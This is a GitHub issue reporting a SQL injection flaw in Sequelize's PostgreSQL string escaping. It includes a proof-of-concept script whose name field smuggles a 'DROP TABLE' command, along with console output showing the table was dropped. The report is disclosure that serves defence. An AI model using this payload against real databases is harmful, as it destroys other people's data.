Skip to content

SQL injection with PostgreSQL #3545

@huguesdk

Description

@huguesdk

Backslashes are not escaped properly in strings when using PostgreSQL, leading to possible SQL injections.

The following code drops the students table.

var Sequelize, Student, sequelize;

Sequelize = require('sequelize');

sequelize = new Sequelize('database', 'user', 'password', {
  dialect: 'postgres',
  host: 'school.example',
  logging: false,
  define: {
    timestamps: false
  }
});

Student = sequelize.define('student', {
  name: Sequelize.STRING
});

Student.create({
  name: 'Robert\\\'); DROP TABLE "students"; --'
}).then(function(result) {
  console.log('Successfully created one student:', result.get());
  return Student.findAll();
}).then(function(result) {
  return console.log('Number of students:', result.length);
})["catch"](function(error) {
  return console.error('Oh no! Here strikes the mom again:', error.message);
});

The console output is:

Successfully created one student: { id: null, name: 'Robert\\\'); DROP TABLE "students"; --' }
Oh no! Here strikes the mom again: relation "students" does not exist

Tested with PostgreSQL 8.2.

Metadata

Metadata

Assignees

No one assigned

    Labels

    P1: importantFor issues and PRs.type: bugDEPRECATED: replace with the "bug" issue type

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions